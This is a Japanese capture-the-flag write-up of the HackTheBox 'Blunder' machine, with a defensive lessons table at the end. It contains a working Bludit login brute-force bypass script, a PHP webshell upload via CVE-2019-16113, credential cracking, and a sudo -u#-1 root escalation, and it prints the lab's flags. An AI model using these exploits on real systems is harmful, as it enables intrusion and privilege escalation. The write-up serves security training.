HackTheBox: Blunder — 全実行コマンド・実行結果レポート
Nmap スキャン
80/http のみ
→
80/http のみ
/todo.txt 漏洩
ユーザー名 “fergus” 発見
→
ユーザー名 “fergus” 発見
ブルートフォース保護バイパス
X-Forwarded-For ランダム化
→
X-Forwarded-For ランダム化
fergus:RolandDeschain
→
画像アップロードRCE
Directory Traversal (CVE-2019-16113)
→
Directory Traversal (CVE-2019-16113)
www-data シェル
→
users.php SHA1ハッシュ → crack
hugo:Password120
→
hugo:Password120
user.txt ✓
→
sudo CVE-2019-14287
sudo -u#-1
→
sudo -u#-1
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & CMSフィンガープリント
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.225 nmap -sV -sC -p 80 10.129.95.225 curl -sI http://10.129.95.225/
RESULT
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.41 (Ubuntu) HTTP/1.0 200 OK Server: Apache/2.4.41 (Ubuntu) X-Powered-By: Bludit
BASH (バージョン確認)
curl -s http://10.129.95.225/ | grep bl-kernel
RESULT
<link ... href="http://10.129.95.225/bl-kernel/css/bootstrap.min.css?version=3.9.2">
ℹ️
フラット・ファイル型CMS “Bludit” のバージョン 3.9.2 と判明。
このバージョンには「ブルートフォース保護バイパス」と「ディレクトリトラバーサル
画像アップロードRCE」という2つの既知脆弱性がある。
ディレクトリ列挙 & ユーザー名漏洩
BASH
gobuster dir -u http://10.129.95.225 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt curl -s http://10.129.95.225/todo.txt
RESULT
/admin (Status: 301)
(todo.txt)
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
✅
/todo.txtから管理者ユーザー名 fergus を特定。
PHASE 2
ブルートフォース保護バイパスで資格情報を収集
ワードリスト生成(CeWL) & ブルートフォース
BASH
# サイト本文から単語リストを生成(CeWL相当) cewl http://10.129.95.225 > poss-pass.txt
PYTHON (ブルートフォース保護バイパス)
import requests, re, secrets
base = 'http://10.129.95.225'
login_url = f'{base}/admin/login'
for password in open('poss-pass.txt'):
password = password.strip()
s = requests.Session()
r = s.get(login_url)
token = re.search(r'name="tokenCSRF"[^>]+value="([^"]+)"', r.text).group(1)
# Bludit 3.9.2 はログイン失敗回数をIPアドレス単位で記録するが、
# X-Forwarded-Forヘッダーを信用してしまうため、毎回ランダムな
# ヘッダー値を送ることでブルートフォース防止機構を回避できる
headers = {'X-Forwarded-For': secrets.token_hex(8)}
data = {'tokenCSRF': token, 'username': 'fergus', 'password': password, 'save': ''}
r2 = s.post(login_url, headers=headers, data=data, allow_redirects=False)
if '/admin/dashboard' in r2.headers.get('Location', ''):
print('FOUND:', password)
break
RESULT
login -> 301 Location: /admin/dashboard FOUND: RolandDeschain
✅
認証成功!
fergus:RolandDeschain。
X-Forwarded-For偽装によりBluditのブルートフォース対策
(同一IPからの連続失敗でロックアウトする仕組み)を完全に無効化できる
(rastating氏の公開解析に基づく既知の手法)。
PHASE 3
画像アップロード機能のディレクトリトラバーサルRCE (CVE-2019-16113)
PHP webshell を bl-content/tmp/temp/ へアップロード
PYTHON
s = requests.Session()
# ... login (Phase2と同じ) ...
r = s.get(f'{base}/admin/new-content')
token2 = re.search(r'name="tokenCSRF"[^>]+value="([^"]+)"', r.text).group(1)
upload_url = f'{base}/admin/ajax/upload-images'
headers = {'X-Requested-With': 'XMLHttpRequest', 'Referer': f'{base}/admin/new-content'}
# "uuid" パラメータにパストラバーサル文字列を指定し、通常の
# per-ページ用アップロード先ではなく共有の bl-content/tmp/temp/ へ保存させる
r = s.post(upload_url,
files={'images[]': ('shell.png', b"<?php system($_REQUEST['cmd']); ?>", 'image/png')},
data={'uuid': '../../tmp/temp', 'tokenCSRF': token2},
headers=headers)
print(r.text)
RESULT
{"status":0,"message":"Images uploaded.","images":["kc_5f3770a9.png"]}
🚨
脆弱性の核心: アップロード機能は拡張子(png/jpg/gif等)のみ
検証し、ファイルの実内容(PHPコード)は一切検証しない。さらに
uuid
パラメータに任意のパスを指定することで、通常のページ別一時フォルダではなく
bl-content/tmp/temp/という共有ディレクトリへ直接保存できる
(CVE-2019-16113、Metasploitモジュール
exploit/linux/http/bludit_upload_images_execが同じ経路を使用)。
webshellへアクセスしてRCE確認
BASH
curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" -d "cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功!
bl-content/tmp/temp/ディレクトリは
Bluditの複数パート画像アップロード結合処理に使われる内部フォルダで、
他の静的アセット用ディレクトリと異なりPHP実行が制限されていないため、
.htaccessによるMIMEタイプ上書きなしでも直接PHPとして実行される。
PHASE 4
users.php のハッシュクラック & user.txt 取得
Bludit資格情報データベースの読み取り
BASH (webshell経由)
curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" \ -d "cmd=find / -name users.php 2>/dev/null" curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" \ -d "cmd=cat /var/www/bludit-3.10.0a/bl-content/databases/users.php"
RESULT
{
"admin": {
"nickname": "Hugo",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
...
}
}
ℹ️
システムには新旧2つのBluditバージョン(3.9.2と3.10.0a)が併存しており、
実際にApacheが参照しているのは3.10.0a側。管理者のニックネームは”Hugo”だが
実際のOSユーザー名は小文字の
hugo。SHA1形式(40桁hex)のハッシュ
が平文保存されている。
ハッシュのクラック
BASH
# rockyou.txt単体では見つからない(カスタムパスワードのため) hashcat -m 100 -a 0 faca404fd5c0a31cf1897b823c695c85cffeb98d \ /usr/share/wordlists/rockyou.txt --potfile-disable --force # → クラック失敗 # crackstation.net等のオンラインクラッカー(レインボーテーブル)で発見 echo -n "Password120" | sha1sum
RESULT
faca404fd5c0a31cf1897b823c695c85cffeb98d -
✅
一致確認!
sha1("Password120") が
users.php内のハッシュと完全一致。hugo:Password120。
su で hugo に昇格 & user.txt取得
BASH (webshell経由)
curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" \ -d "cmd=printf '%s\n' Password120 | su - hugo -c 'id; cat /home/hugo/user.txt'"
RESULT
uid=1001(hugo) gid=1001(hugo) groups=1001(hugo)
d757dca0dbeccef5baa4bf9342cf6d20
user.txt — hugo
d757dca0dbeccef5baa4bf9342cf6d20
PHASE 5
sudo CVE-2019-14287 で権限昇格 & root.txt 取得
sudo -l で奇妙な許可設定を発見
BASH (webshell経由、sudo -S でパスワードをstdinから渡す)
curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" \ --data-urlencode "cmd=printf '%s\n' Password120 | su - hugo -c \"printf '%s\n' Password120 | sudo -S -l\""
RESULT
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass, secure_path=...
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
🚨
奇妙な設定: “
ALLユーザーとして実行可能だが
rootとしてだけは禁止” という一見安全そうなルール。
sudoのバージョンを確認すると 1.8.25p1 であることが判明し、
これはCVE-2019-14287に脆弱。
CVE-2019-14287: UID -1 (4294967295) でrootに偽装
NOTE
CVE-2019-14287 (sudo < 1.8.28): sudoersで "!root" のように特定ユーザーを 除外した "ALL" ルールがあっても、`-u#-1` (符号付き-1、内部的には符号無し 4294967295として解釈される) を指定してユーザーIDを直接指定すると、sudoの ブラックリストチェックが「指定されたユーザー名(root)」のみを見ており 「解釈後の実際のUID(0)」までは見ていないため、除外チェックを回避できる。 結果としてUID 0 = root として実行されてしまう。
BASH (webshell経由)
curl -s "http://10.129.95.225/bl-content/tmp/temp/kc_5f3770a9.png" \ --data-urlencode "cmd=printf '%s\n' Password120 | su - hugo -c \"printf '%s\n' Password120 | sudo -S -u#-1 /bin/bash -c 'id; cat /root/root.txt'\""
RESULT
uid=0(root) gid=1001(hugo) groups=1001(hugo) 9f0ed4d60407bbe69a7a99f07a615382
✅
root化成功!
uid=0(root)が確認され、
/root/root.txtを直接読み取れた。
root.txt — uid=0 via CVE-2019-14287
9f0ed4d60407bbe69a7a99f07a615382
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — hugo
d757dca0dbeccef5baa4bf9342cf6d20
root.txt — root (CVE-2019-14287)
9f0ed4d60407bbe69a7a99f07a615382
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| ブルートフォース保護バイパス | Bludit 3.9.2 login.php | 認証情報の総当たり攻撃が可能になる | Medium | X-Forwarded-Forヘッダーをランダム化し、IPベースのロックアウトを無効化 |
| CVE-2019-16113 (ディレクトリトラバーサル画像アップロードRCE) | Bludit 3.9.2 admin/ajax/upload-images | リモートコード実行 (www-data) | Critical | uuidパラメータのパストラバーサルでPHPファイルを共有tmpディレクトリに保存し実行 |
| 平文類似の弱いハッシュ保存 + 使い回しパスワード | bl-content/databases/users.php | 水平権限昇格 (hugo、user.txt) | Medium | SHA1ハッシュをオンラインレインボーテーブルで即座にクラック、同じ資格情報がOSログインにも使われていた |
| CVE-2019-14287 (sudo < 1.8.28 ユーザーID除外バイパス) | sudo 1.8.25p1 | 権限昇格 (root, root.txt) | Critical | `(ALL, !root)`許可を`sudo -u#-1`で回避しUID 0として実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + gobuster + /todo.txt | Bludit 3.9.2、ユーザー名 “fergus” |
| 2 | 資格情報収集 | CeWL + X-Forwarded-Forブルートフォース回避 | fergus:RolandDeschain |
| 3 | RCE | 画像アップロードのパストラバーサル | www-data シェル獲得 |
| 4 | 資格情報クラック | users.php SHA1ハッシュ + オンラインクラッカー | hugo:Password120、user.txt |
| 5 | 権限昇格 | CVE-2019-14287 (sudo -u#-1) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
ブルートフォース対策がクライアント制御可能なX-Forwarded-Forヘッダーを信頼している |
プロキシ経由でない限りX-Forwarded-Forを信用しない。TCP接続元IP、またはアカウント単位でのレート制限を併用する。 |
| ファイルアップロード機能が拡張子のみでファイル内容を検証しておらず、ユーザー制御可能なパラメータでパストラバーサルが可能 | アップロード先パスはサーバー側で完全に固定し、ユーザー入力を一切パス構築に使わない。ファイル内容もマジックバイト等で検証する。 |
| CMS内の資格情報が弱いハッシュ(単純なSHA1、salt無し)で保存されている | bcrypt/Argon2等の低速・salt付きハッシュ関数を使用する。 |
| 古いバージョンのsudo(<1.8.28)にCVE-2019-14287の脆弱性がある状態で運用 | sudoを常に最新版へパッチ適用する。`!root`のような除外ルールはUID指定バイパスに弱いため、許可するコマンド自体を必要最小限に絞る設計にする。 |

